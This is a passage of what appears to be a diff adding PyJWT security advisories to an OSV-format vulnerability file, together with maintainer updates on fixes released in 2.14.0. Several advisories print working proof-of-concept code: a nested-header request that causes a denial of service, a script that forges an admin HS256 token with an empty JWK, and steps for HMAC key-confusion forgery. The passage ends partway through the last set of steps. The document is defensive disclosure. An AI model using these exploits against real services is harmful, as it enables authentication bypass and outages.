"https://github.com/jpadilla/pyjwt/releases/tag/2.14.0" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", + "type": "CVSS_V3" + } + ], + "summary": "PyJWT: PyJWKClient still amplifies unauthenticated JWKS fetches on unknown kid values (incomplete fix of CVE-2026-48524)" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-8wjv-2p76-3863/GHSA-8wjv-2p76-3863.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "pyjwt", + "purl": "pkg:pypi/pyjwt" + }, + "ranges": [ + { + "events": [ + { + "introduced": "2.13.0" + }, + { + "fixed": "2.14.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "2.13.0" + ] + } + ], + "aliases": [ + "CVE-2026-102265" + ], + "database_specific": { + "cwe_ids": [ + "CWE-674" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T23:43:06Z", + "nvd_published_at": "2026-09-28T21:17:14Z", + "severity": "MODERATE" + }, + "details": "## Package\n\npyjwt (PyPI)\n\n## Affected versions\n\ntested & verified on: 2.13.0. Every version whose `PyJWS._load()` translates only `ValueError` is affected\n\n## Description\n\n`PyJWS._looad()` (`jwt/api_jws.py:337`) splits the compact token, base64url decodes the header segment and hands it to `json.loads()` before `_verify_signature()` runs. The parse is wrapped in `except ValueError as e: raise DecodeError(...)`. That is what makes the documented contract sufficient for untrusted input: `except jwt.PyJWTError` (or `InvalidTokenError`) around `jwt.decode(token, key, algorithms=[...])`.\n\nCPython's JSON decoder raises `RecursionError` (a `RuntimeError` subclass, not a `ValueError`) once nesting crosses the native stack guard. That exception leaves `_load()`, then `jwt.decode()`, and matches no `PyJWTError` handlerr at all. No key and no valid signature are needed: the header is parsed first, so a single unauthenticated request with an unsigned token suffices.\n\nScope: the recursion threshold is ~65,000 nesting levels; below it the same input yields a clean `DecodeError` (a 346,800-byte flat header is rejected normally, so depth, not size, is the trigger). A token this large cannot ride in an `Authorization` header (rejected at HTTP field limits,431 under gunicorn), but body transport (RFC 7662 introspection style) is a standard pattern. Under Flask 3.1.3 / gunicorn 26.2.0 each crafted request returns HTTP 500 instead of 401 and writes a full traceback to the error log; the sync worker survives.\n\n## Proof of concept\n\nAgainst any endpoint that validates a token from its JSON body with the documented pattern:\n\n```python\nimport base64, json, http.client\n\ndef b64url(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\")\n\n# unsigned token: the header segment is 200,000 nested '[' (266,681 bytes total)\ntoken = (b64url(b\"[\" * 200_000) + b\".\" + b64url(b'{\"a\":1}') + b\".\" + b64url(b\"x\")).decode()\n\nconn = http.client.HTTPConnection(\"127.0.0.1\", 8125, timeout=30)\nconn.request(\"POST\", \"/api/protected\", body=json.dumps({\"token\": token}),\n headers={\"Content-Type\": \"application/json\"})\nprint(conn.getresponse().status) # 500, expected 401\n```\n\nDeterminism: 20/20 crafted requests returned 500 against the reference container (PyJWT 2.13.0, Flask 3.1.3, gunicorn 26.2.0, Python 3.14.7) in 0.12 s (about 6 ms per request in a tight loop, 14 ms for a cold request), each leaving a `RecursionError: Stack overflow ... while decoding a JSON array` traceback in the error log.\n\n## Impact\n\nAn unauthenticated attacker can turn every request to a JWT validating endpoint into a server error with a full traceback logged per request, a cheap and repeatable denial of service on the authentication path (no crash, no data exposure).\n\n## Fix\n\nCatch `RecursionError` alongside `ValueError` in `_load()` and raise `DecodeError`, or parse the header with a nonrecursive, depthbounded parser.\n\n## Reproduction\n\nA standalone package (docker-compose.yml, Dockerfile, requirements.txt, target app, driver) accompanies this report:\n\n```\ncd \ndocker compose up -d --build\npython3 poc_check_then_attack.py\ndocker compose down -v\n```\n[poc_pyjwt_recursion.zip](https://github.com/user-attachments/files/31614987/poc_pyjwt_recursion.zip)\n\nExit 0= reproduced (control checks green, exactly one crafted request returns 500, traceback verified in `docker logs`, service alive afterwards); 1 = not reproduced; 2 = checks failed, no attack sent. The package's `run_log.txt` documents a complete proof run.\n\n## Credits\n\n- @Nivid42\n\n## Maintainer update \u2014 2026-09-09\n\nWe reproduced the reported behavior on PyJWT 2.13.0: a deeply nested JSON array in the untrusted compact-JWS header reaches `json.loads()` before signature verification and raises `RecursionError`, which is not a `PyJWTError`. The same input is accepted by the public `jwt.decode()` path and can escape an application's normal `except PyJWTError` handling.\n\nThe fix is committed as `06573692ebcdec8831c3927513b3e87c31fbbb62`. `PyJWS._load()` now translates both `ValueError` and `RecursionError` from header JSON parsing into `DecodeError`. A regression test covers the deeply nested-header path before signature verification. The full suite passes with 373 tests and 4 intentional cryptography-environment skips.\n\nNo release containing the fix has been published yet, so the patched version remains unset pending release planning. The advisory remains medium severity and unpublished.\n\n## Maintainer update \u2014 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.", + "id": "GHSA-8wjv-2p76-3863", + "modified": "2026-09-29T23:45:37.333342767Z", + "published": "2026-09-29T23:43:06Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-8wjv-2p76-3863" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102265" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/commit/06573692ebcdec8831c3927513b3e87c31fbbb62" + }, + { + "type": "PACKAGE", + "url": "https://github.com/jpadilla/pyjwt" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", + "type": "CVSS_V3" + } + ], + "summary": "PyJWT: Uncaught RecursionError in jwt.decode() on deeply nested token header" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-9j54-fg26-wv3r/GHSA-9j54-fg26-wv3r.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "pyjwt", + "purl": "pkg:pypi/pyjwt" + }, + "ranges": [ + { + "events": [ + { + "introduced": "2.13.0" + }, + { + "fixed": "2.14.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "2.13.0" + ] + } + ], + "aliases": [ + "CVE-2026-102266" + ], + "database_specific": { + "cwe_ids": [ + "CWE-347" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T23:43:19Z", + "nvd_published_at": "2026-09-28T21:17:14Z", + "severity": "HIGH" + }, + "details": "### Summary\n\nA service that verifies HS256 tokens using an empty oct JWK through PyJWK, including a PyJWK obtained from PyJWKSet, can therefore accept attacker-generated tokens as authenticated.\n\nPyJWT 2.13.0 rejects an empty HMAC key when it is supplied through the raw `str`/`bytes` key path, but accepts the same zero-length key when it is supplied as a symmetric `PyJWK`.\n\nAn `oct` JWK containing an empty Base64URL key value:\n\n```json\n{\"kty\":\"oct\",\"k\":\"\"}\n```\n\nis decoded to `b\"\"`. During signature verification, the `PyJWK` path uses this decoded value directly and does not invoke the empty-key validation in `HMACAlgorithm.prepare_key`. With the default `enforce_minimum_key_length=False`, PyJWT emits a warning and proceeds with HMAC verification using the zero-length key.\n\nAn attacker can independently calculate `HMAC-SHA256(b\"\", signing_input)` and create valid HS256 JWTs with arbitrary claims. A service that verifies HS256 tokens using an empty `oct` JWK through `PyJWK` or `PyJWKSet` can therefore accept attacker-generated tokens as authenticated.\n\nThe application must already contain an empty HMAC JWK, for example because a missing Base64URL configuration or secret-manager value was serialized as `\"k\": \"\"`. The attacker does not need control of the JWK/JWKS source, a signing oracle, a private key, or a mixed algorithm allow-list.\n\n### Details\n\nThe vulnerability is caused by inconsistent validation of the same HMAC key material depending on whether it enters PyJWT as a raw key or through `PyJWK`.\n\n#### Raw empty HMAC keys are rejected\n\n[`[HMACAlgorithm.prepare_key](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L325-L357)`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L325-L357) rejects an empty HMAC key.\n\nAs a result, an empty raw key is rejected in PyJWT 2.13.0:\n\n```python\njwt.decode(token, b\"\", algorithms=[\"HS256\"])\n```\n\nwith `InvalidKeyError`.\n\n#### Empty `oct` JWKs decode to the same key but are accepted\n\n[`[HMACAlgorithm.from_jwk](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L379-L394)`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L379-L394) handles symmetric JWKs.\n\nFor:\n\n```json\n{\n \"kty\": \"oct\",\n \"k\": \"\"\n}\n```\n\nthe empty Base64URL value is decoded to:\n\n```python\nb\"\"\n```\n\nand returned without an emptiness check.\n\n[`[PyJWK.__init__](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jwk.py#L73-L82)`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jwk.py#L73-L82) then stores the decoded value in `self.key`.\n\nThe resulting `PyJWK` therefore contains the same zero-length byte string rejected by the raw-key path.\n\n#### `PyJWK` verification bypasses the raw-key validation\n\n[`[PyJWS._verify_signature](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jws.py#L389-L416)`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jws.py#L389-L416) has a separate path for `PyJWK` objects.\n\nWhen a `PyJWK` is supplied, verification uses its already-decoded key directly:\n\n```python\nprepared_key = key.key\n```\n\nThe value is not passed through:\n\n```python\nalg_obj.prepare_key(key.key)\n```\n\nso the empty-key check in `HMACAlgorithm.prepare_key` is never reached.\n\nThe minimum HMAC key-length check does not reject the key under the default configuration. With `enforce_minimum_key_length=False`, PyJWT emits a warning and continues signature verification.\n\nThe verifier therefore receives:\n\n```python\nb\"\"\n```\n\nas the HS256 key.\n\nThis creates the following difference for identical cryptographic key material:\n\n```text\nraw b\"\"\n -> HMACAlgorithm.prepare_key\n -> InvalidKeyError\n\n{\"kty\":\"oct\",\"k\":\"\"}\n -> HMACAlgorithm.from_jwk\n -> b\"\"\n -> PyJWK.key\n -> PyJWS._verify_signature\n -> HMAC verification with b\"\"\n -> accepted\n```\n\nBecause the HMAC key is the known zero-length byte string, an attacker can calculate the correct HS256 signature for arbitrary JWT signing input without knowing an application secret.\n\nThis is not the raw-JWK HMAC-confusion issue addressed by CVE-2026-48526. That issue involves raw public JWK material and mixed asymmetric/HMAC algorithm families. This issue uses an `oct` symmetric JWK, HS256 only, and the `PyJWK` verification path. No asymmetric key, mixed algorithm allow-list, or attacker-controlled key-discovery mechanism is required.\n\nThe issue was reproduced against PyJWT 2.13.0 and commit:\n\n```text\n7144e4534c34810f4525dc4578a32addd8212cff\n```\n\nwhich was the tip of the public `master` branch at the time of testing.\n\n### PoC\n\nThe following PoC reproduces the issue on PyJWT 2.13.0.\n\nIt models an application with a static JWK Set containing an empty symmetric HMAC key. The attacker does not control the JWK Set.\n\nInstall PyJWT 2.13.0:\n\n```bash\npython -m venv venv\nsource venv/bin/activate\npip install \"PyJWT==2.13.0\"\n```\n\nSave the following as `poc.py`:\n\n```python\nimport base64\nimport hashlib\nimport hmac\nimport json\nimport time\nimport warnings\n\nimport jwt\nfrom jwt import PyJWKSet\nfrom jwt.exceptions import InvalidKeyError, InvalidSignatureError\n\n\ndef b64u(value: bytes) -> bytes:\n return base64.urlsafe_b64encode(value).rstrip(b\"=\")\n\n\nnow = int(time.time())\nheader = b64u(json.dumps({\"alg\": \"HS256\", \"kid\": \"active\"}, separators=(\",\", \":\")).encode())\npayload = b64u(\n json.dumps(\n {\"sub\": \"attacker\", \"admin\": True, \"iat\": now, \"exp\": now + 300},\n separators=(\",\", \":\"),\n ).encode()\n)\nsigning_input = header + b\".\" + payload\nforged = (\n signing_input\n + b\".\"\n + b64u(hmac.new(b\"\", signing_input, hashlib.sha256).digest())\n).decode()\n\njwk = PyJWKSet.from_dict(\n {\n \"keys\": [\n {\n \"kty\": \"oct\",\n \"k\": \"\",\n \"kid\": \"active\",\n \"alg\": \"HS256\",\n \"use\": \"sig\",\n }\n ]\n }\n)[\"active\"]\n\nwith warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n claims = jwt.decode(\n forged,\n jwk,\n algorithms=[\"HS256\"],\n options={\"require\": [\"exp\"]},\n )\n\nassert claims[\"sub\"] == \"attacker\"\nassert claims[\"admin\"] is True\nprint(\"VULNERABLE:\", claims)\n\ntry:\n jwt.decode(forged, b\"\", algorithms=[\"HS256\"])\nexcept InvalidKeyError:\n print(\"CONTROL raw empty key: rejected\")\nelse:\n raise AssertionError(\"raw empty key was accepted\")\n\ntry:\n jwt.decode(\n forged,\n jwk,\n algorithms=[\"HS256\"],\n options={\"enforce_minimum_key_length\": True},\n )\nexcept InvalidKeyError:\n print(\"CONTROL strict PyJWK: rejected\")\nelse:\n raise AssertionError(\"strict PyJWK was accepted\")\n\nreal_key = PyJWKSet.from_dict(\n {\n \"keys\": [\n {\n \"kty\": \"oct\",\n \"k\": \"cmVhbC1zZWNyZXQ\",\n \"kid\": \"active\",\n \"alg\": \"HS256\",\n }\n ]\n }\n)[\"active\"]\n\ntry:\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n jwt.decode(forged, real_key, algorithms=[\"HS256\"])\nexcept InvalidSignatureError:\n print(\"CONTROL non-empty PyJWK: rejected\")\nelse:\n raise AssertionError(\"non-empty PyJWK accepted an empty-key forgery\")\n```\n\nRun:\n\n```bash\npython poc.py\n```\n\nObserved output:\n\n```text\nVULNERABLE: {'sub': 'attacker', 'admin': True, 'iat': , 'exp': }\nCONTROL raw empty key: rejected\nCONTROL strict PyJWK: rejected\nCONTROL non-empty PyJWK: rejected\n```\n\nThe first result demonstrates that a JWT signed with the known zero-length HMAC key is accepted when the verification key is supplied through `PyJWK`.\n\nThe first control supplies the same key material directly as `b\"\"`. PyJWT 2.13.0 rejects it with `InvalidKeyError`.\n\nThe second control enables `enforce_minimum_key_length`, which also rejects the empty `PyJWK`.\n\nThe third control changes only the JWK key material to a non-empty value. The same forged token then fails with `InvalidSignatureError`.\n\nI also reproduced the result through the following verification paths:\n\n```python\njwt.decode(token, PyJWK, algorithms=[\"HS256\"])\njwt.decode(token, PyJWK)\njwt.PyJWT().decode(token, PyJWK, algorithms=[\"HS256\"])\nPyJWS().decode(token, PyJWK, algorithms=[\"HS256\"])\n```\n\nAll accepted an HS256 token whose signature was generated using the zero-length HMAC key.\n\nAs an execution-path check, after constructing the `PyJWK`, I replaced `HMACAlgorithm.prepare_key` with a function that immediately raises. Verification using the `PyJWK` still accepted the forged token, while the raw-key path reached `prepare_key` and rejected the empty key.\n\n### Impact\n\nThis is an authentication bypass caused by inconsistent validation of empty HMAC keys.\n\nAffected applications are services that verify HS256 JWTs using `PyJWK`, `PyJWKSet`, or another path that produces a `PyJWK`, where the configured `oct` JWK contains an empty HMAC key and minimum key-length enforcement is not enabled.\n\nFor example, an application could and produces:\n\n```json\n{\n \"kty\": \"oct\",\n \"k\": \"\",\n \"kid\": \"active\",\n \"alg\": \"HS256\"\n}\n```\n\nwhen the expected Base64URL secret value is missing.\n\nOnce this condition exists, an unauthenticated remote attacker can generate arbitrary HS256 JWTs offline. The attacker knows the effective verification key is `b\"\"` and can therefore calculate a valid HMAC for any signing input.\n\nThe attacker can choose arbitrary claims such as:\n\n```json\n{\n \"sub\": \"attacker\",\n \"admin\": true,\n \"exp\": 1787100000\n}\n```\n\nand produce a signature that PyJWT accepts as valid.\n\nDepending on how JWT claims are used by the application, successful exploitation can result in authentication bypass, user impersonation, privilege escalation, or unauthorized access to protected resources.\n\nValidation of claims such as `exp`, `aud`, `iss`, or `sub` does not prevent exploitation when the attacker knows the effective signing key, because the attacker can include the values expected by the application before calculating the signature.\n\nThe attacker cannot create the empty JWK through this issue; the application must already be using an empty symmetric JWK. No credentials, user interaction, signing oracle, private key, attacker-controlled JWKS endpoint, or mixed algorithm configuration are required once that condition exists.\n\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N\n\n## Maintainer update \u2014 2026-09-09\n\nWe reproduced the reported discrepancy on PyJWT 2.13.0: an empty `oct` JWK supplied through `PyJWK` reached HS256 verification as `b\"\"`, while the equivalent raw empty key was rejected by `HMACAlgorithm.prepare_key()`. The condition requires an application to already load an empty symmetric JWK, but does not require a mixed algorithm allow-list or attacker-controlled JWK source.\n\nThis is in scope under the PyJWT security policy because the same decoded HMAC key material receives inconsistent validation across PyJWT's public verification paths.\n\nThe fix is committed as `f91ed44dd65baaf457f4b3353ed35e98a753934c`. PyJWK verification now routes the decoded key through the selected algorithm's `prepare_key()` validation before checking its minimum key length, keeping PyJWK and raw-key behavior consistent. Regression coverage proves that an authentic HS256 token signed with an empty key is rejected through `PyJWK`; existing JWS behavior remains covered.\n\nThe full suite passes with 392 tests and 4 intentional cryptography-environment skips; the JWS module passes 92 tests with 1 intentional skip. Fresh Astra/max independent review accepted the staged snapshot and verified HMAC, RSA/PSS, EC, and EdDSA compatibility, algorithm binding, warning behavior, minimum-length enforcement, and disabled verification.\n\nThe fix has not been released. The advisory remains High with CVSS metadata currently unset, and the patched version remains unset pending release planning.\n\n## Classification update \u2014 2026-09-10\n\nWe completed the advisory classification review. The proposed CVSS 3.1 vector is `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N` and the proposed CWE classification is CWE-347. These classifications reflect the documented impact and do not alter the affected range, fix status, or lifecycle state.\n\n## Maintainer update \u2014 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched version.", + "id": "GHSA-9j54-fg26-wv3r", + "modified": "2026-09-30T00:00:04.438003579Z", + "published": "2026-09-29T23:43:19Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-9j54-fg26-wv3r" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102266" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/commit/f91ed44dd65baaf457f4b3353ed35e98a753934c" + }, + { + "type": "PACKAGE", + "url": "https://github.com/jpadilla/pyjwt" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", + "type": "CVSS_V3" + } + ], + "summary": "PyJWT: PyJWK accepts empty HMAC keys, bypassing PyJWT's empty-key validation" + }, + { + "affected": [ + { + "database_specific": { + "last_known_affected_version_range": "<= 2.13.0", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-9v7f-9g4p-ffgj/GHSA-9v7f-9g4p-ffgj.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "pyjwt", + "purl": "pkg:pypi/pyjwt" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.14.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "0.1.1", + "0.1.2", + "0.1.3", + "0.1.4", + "0.1.5", + "0.1.6", + "0.1.7", + "0.1.8", + "0.1.9", + "0.2.0", + "0.2.1", + "0.2.3", + "0.3.0", + "0.3.1", + "0.3.2", + "0.4.0", + "0.4.1", + "0.4.2", + "0.4.3", + "1.0.0", + "1.0.1", + "1.1.0", + "1.3.0", + "1.4.0", + "1.4.1", + "1.4.2", + "1.5.0", + "1.5.1", + "1.5.2", + "1.5.3", + "1.6.0", + "1.6.1", + "1.6.3", + "1.6.4", + "1.7.0", + "1.7.1", + "2.0.0", + "2.0.0a1", + "2.0.0a2", + "2.0.1", + "2.1.0", + "2.10.0", + "2.10.1", + "2.11.0", + "2.12.0", + "2.12.1", + "2.13.0", + "2.2.0", + "2.3.0", + "2.4.0", + "2.5.0", + "2.6.0", + "2.7.0", + "2.8.0", + "2.9.0" + ] + } + ], + "aliases": [ + "CVE-2026-102267" + ], + "database_specific": { + "cwe_ids": [ + "CWE-200", + "CWE-345", + "CWE-918" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T23:15:00Z", + "nvd_published_at": "2026-09-28T21:17:14Z", + "severity": "HIGH" + }, + "details": "### Summary\n\nPyJWT 2.13.0 `PyJWKClient` followed HTTP redirects while fetching a JWKS,\nwithout validating the redirect destination. A configured trusted endpoint\ncould therefore redirect the client to a different host.\n\n### Impact\n\nWhen an application uses `PyJWKClient` with caller-supplied request headers and\nan attacker can influence the configured endpoint's response, the redirected\nrequest could expose those headers and the redirected response could be used as\nauthoritative key material. This could cause JWKS trust poisoning and, in\naffected mixed-configuration applications, forged JWT acceptance. The issue\nrequires an attacker-influenced redirect from the configured JWKS endpoint; it\nis not triggered by a token `kid` alone.\n\n### Affected versions\n\nPyJWT `<= 2.13.0`.\n\n### Fix\n\nThe issue is fixed on `master` in commit\n[`0a795b8e1f6ef08f634aa7086fc41cc6d5ce3e56`](https://github.com/jpadilla/pyjwt/commit/0a795b8e1f6ef08f634aa7086fc41cc6d5ce3e56).\n`PyJWKClient` now disables automatic redirects for JWKS fetches. Regression\ntests verify that a redirect is rejected without contacting its destination,\nwhile normal fetches, headers, caching, errors, timeouts, and SSL context remain\ncovered.\n\nThe fix is present in the unreleased development branch. The patched version\nwill be recorded after a released PyJWT 2.x version containing the fix is\nconfirmed.\n\n### Credit\n\nCredit: the original reporter of GHSA-9v7f-9g4p-ffgj. Additional redirect\nheader-leak and cache-poisoning evidence from the newer duplicate report\nGHSA-43g3-98cx-x446 is preserved in the duplicate record and informed this\ncanonical advisory update.\n\n## Maintainer update \u2014 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.", + "id": "GHSA-9v7f-9g4p-ffgj", + "modified": "2026-09-29T23:30:03.872305369Z", + "published": "2026-09-29T23:15:00Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-9v7f-9g4p-ffgj" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102267" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/commit/0a795b8e1f6ef08f634aa7086fc41cc6d5ce3e56" + }, + { + "type": "PACKAGE", + "url": "https://github.com/jpadilla/pyjwt" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", + "type": "CVSS_V3" + } + ], + "summary": "PyJWT: PyJWKClient follows redirects when fetching JWKS" + }, + { + "affected": [ + { + "database_specific": { + "last_known_affected_version_range": "<= 2.13.0", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-ffc3-869f-jxw9/GHSA-ffc3-869f-jxw9.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "pyjwt", + "purl": "pkg:pypi/pyjwt" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.14.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "0.1.1", + "0.1.2", + "0.1.3", + "0.1.4", + "0.1.5", + "0.1.6", + "0.1.7", + "0.1.8", + "0.1.9", + "0.2.0", + "0.2.1", + "0.2.3", + "0.3.0", + "0.3.1", + "0.3.2", + "0.4.0", + "0.4.1", + "0.4.2", + "0.4.3", + "1.0.0", + "1.0.1", + "1.1.0", + "1.3.0", + "1.4.0", + "1.4.1", + "1.4.2", + "1.5.0", + "1.5.1", + "1.5.2", + "1.5.3", + "1.6.0", + "1.6.1", + "1.6.3", + "1.6.4", + "1.7.0", + "1.7.1", + "2.0.0", + "2.0.0a1", + "2.0.0a2", + "2.0.1", + "2.1.0", + "2.10.0", + "2.10.1", + "2.11.0", + "2.12.0", + "2.12.1", + "2.13.0", + "2.2.0", + "2.3.0", + "2.4.0", + "2.5.0", + "2.6.0", + "2.7.0", + "2.8.0", + "2.9.0" + ] + } + ], + "aliases": [ + "CVE-2026-102268" + ], + "database_specific": { + "cwe_ids": [ + "CWE-347" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T23:17:33Z", + "nvd_published_at": "2026-09-28T21:17:14Z", + "severity": "CRITICAL" + }, + "details": "**Prerequisites** (both conditions must hold; both are deployment properties, not attacker-controlled at request time):\n\n- The `jwt.decode` allow-list mixes an HMAC algorithm with an asymmetric one, e.g. `algorithms=[\"ES256\", \"HS256\"]` (the RFC 8725 footgun the guard exists to backstop).\n- The verification key is passed as raw PEM text/bytes on the non-`PyJWK` path, in a byte-form that `cryptography`'s loader accepts but PyJWT's `is_pem_format` regex does not recognize (marker-adjacent whitespace/indentation, CR-only line terminators, or the PEM folded to a single line). Such forms arise naturally from an indented YAML/JSON block, a single-line environment variable or JSON string, or a CR/LF round-trip through config tooling.\n\nThe attacker additionally needs the public verification key, which is public by definition, and `cryptography` must be installed.\n\nThe fix for CVE-2022-29217 rejects an asymmetric key handed to an HMAC algorithm, but only when `is_pem_format()` recognizes the key as PEM. That recognizer accepts strictly fewer byte-forms than the loader that later parses the key, so a PEM the guard misses still loads as a valid public key and is then used as an HMAC secret. This is an incomplete-guard bypass of the CVE-2022-29217 family.\n\n### Summary\nA PEM public key with marker-adjacent whitespace, CR-only line terminators, or folded to a single line makes PyJWT's `is_pem_format()` return `False` while `cryptography.load_pem_public_key()` accepts the identical bytes. The asymmetric-key rejection in `HMACAlgorithm.prepare_key` is skipped, the public key becomes the HMAC secret, and an attacker who knows the public key mints a valid `HS256` token \u2014 universal forgery \u2014 whenever the verify allow-list mixes an HMAC and an asymmetric algorithm.\n\n### Details\nAt `jwt/algorithms.py:331-335`, `HMACAlgorithm.prepare_key` contains the sole family-mismatch guard:\n\n if is_pem_format(key_bytes) or is_ssh_key(key_bytes):\n raise InvalidKeyError(\n \"The specified key is an asymmetric key or x509 certificate and\"\n \" should not be used as an HMAC secret.\"\n )\n\nIf neither predicate fires, `:357` returns `key_bytes` unchanged \u2014 the PEM text is used directly as the HMAC secret.\n\n`is_pem_format` (`jwt/utils.py:116-127`) is `bool(_PEM_RE.search(key))`, where `_PEM_RE` requires `----[- ]BEGIN (...)[- ]----\\r?\\n`, then `.+?\\r?\\n`, then the END marker. The LF in each `\\r?\\n` is mandatory, the markers are anchored directly after a newline, and only `[- ]` is tolerated adjacent to them \u2014 not arbitrary whitespace. So a key with a tab/space before the END marker, with bare `\\r` terminators, or folded onto one line is not recognized as PEM. `cryptography`'s `load_pem_public_key` is tolerant of exactly these forms and still returns the key.\n\nReach: `jwt/api_jws.py:386` performs the allow-list check (passes when `HS256` is in the list) and takes the non-`PyJWK` branch to `alg_obj.prepare_key(key)` at `:407`. The mismatch guard above is the only thing standing between a mixed allow-list and using the public key as an HMAC secret.\n\n### PoC\nVulnerable path: `jwt/algorithms.py:331` (guard gated on `is_pem_format`) -> `is_pem_format` returns `False` for a loader-accepted PEM -> `jwt/algorithms.py:357` returns the public-key bytes as the HMAC secret -> `HS256` verification succeeds.\n\nReproduced on PyJWT 2.13.0 (commit `7144e453`) with `cryptography` 49.0.0, using only the public API. For each of an EC (ES256) and an RSA-2048 (RS256) key: start from the correct public-key PEM, apply a mutation, confirm `is_pem_format` now returns `False` while `cryptography` still loads the bytes, then verify a token signed `alg=HS256` with the public-key text as the HMAC secret, under `algorithms=[\"ES256\",\"HS256\"]` (resp. `[\"RS256\",\"HS256\"]`).\n\nObserved output:\n\n pyjwt 2.13.0\n ec canonical (control) is_pem_format=True crypto_loads=True forgery=BLOCKED:InvalidKeyError\n ec marker-adjacent (tab before END) is_pem_format=False crypto_loads=True forgery=FORGED(superadmin)\n ec CR-only terminators is_pem_format=False crypto_loads=True forgery=FORGED(superadmin)\n ec folded single-line is_pem_format=False crypto_loads=True forgery=FORGED(superadmin)\n rsa canonical (control) is_pem_format=True crypto_loads=True forgery=BLOCKED:InvalidKeyError\n rsa marker-adjacent (tab before END) is_pem_format=False crypto_loads=True forgery=FORGED(superadmin)\n rsa CR-only terminators is_pem_format=False crypto_loads=True forgery=FORGED(superadmin)\n rsa folded single-line is_pem_format=False crypto_loads=True forgery=FORGED(superadmin)\n [control B] single-alg [ES256] allow-list vs forged HS256: REJECTED:InvalidAlgorithmError\n RESULT: ALL-INVARIANTS-HOLD\n\nEach mutated form on both key types forged a token accepted as `superadmin`. Controls: the unmodified PEM is correctly rejected with `InvalidKeyError` (the guard works and the mutation is load-bearing); a single-algorithm allow-list `[\"ES256\"]` rejects the forged `HS256` token with `InvalidAlgorithmError` (the mixed allow-list is a necessary precondition).\n\nSteps to reproduce:\n1. Generate an EC P-256 (or RSA-2048) keypair; serialize the public key to PEM.\n2. Mutate the PEM into a loader-accepted, regex-missed form \u2014 e.g. insert a tab before `-----END`, convert terminators to bare `\\r`, or join all lines into one.\n3. Confirm `jwt.utils.is_pem_format(mutated) is False` 